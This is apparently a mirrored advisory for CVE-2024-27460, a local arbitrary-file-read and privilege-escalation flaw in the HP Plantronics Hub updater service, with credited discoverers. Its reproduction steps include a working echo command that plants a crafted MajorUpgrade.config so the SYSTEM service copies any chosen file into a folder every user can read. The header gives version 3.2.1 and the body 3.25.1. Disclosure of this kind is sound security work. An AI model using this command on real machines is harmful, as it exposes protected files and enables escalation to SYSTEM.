CVE-2024-27460 PoC — HP Plantronics Hub 安全漏洞

Description

HP Plantronics Hub 3.2.1 Updater Privilege Escalation

介绍

# CVE-2024-27460
HP Plantronics Hub 3.25.1 Updater Privilege Escalation/Arbitrary File Read

### Description:
HP Plantronics Hub 3.25.1 suffers from a bug that allows low privileged users to perform arbitrary file read as SYSTEM on the machine where the application is installed. Moreover, it is possible to abuse this flaw to escalate privileges to the SYSTEM user.
 
### Affected versions
HP Plantronics Hub 3.25.1

### Impacted service(s)
Insecure Path:
"C:\ProgramData\Plantronics\Spokes3G"

Service:
PlantronicsUpdateService

### Steps to reproduce (POC):
- Open cmd.exe
- Navigate using cd C:\ProgramData\Plantronics\Spokes3G
- echo ^|^|\<FULL-PATH-TO-YOUR-DESIRED-FILE\>^|> MajorUpgrade.config
- Desired file will be copied into "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", which any authenticated user has access to.

### Discovered by: 
* Farid Zerrouk of Deloitte Belgium
* Alaa Kachouh of Mastercard Europe

文件快照

备注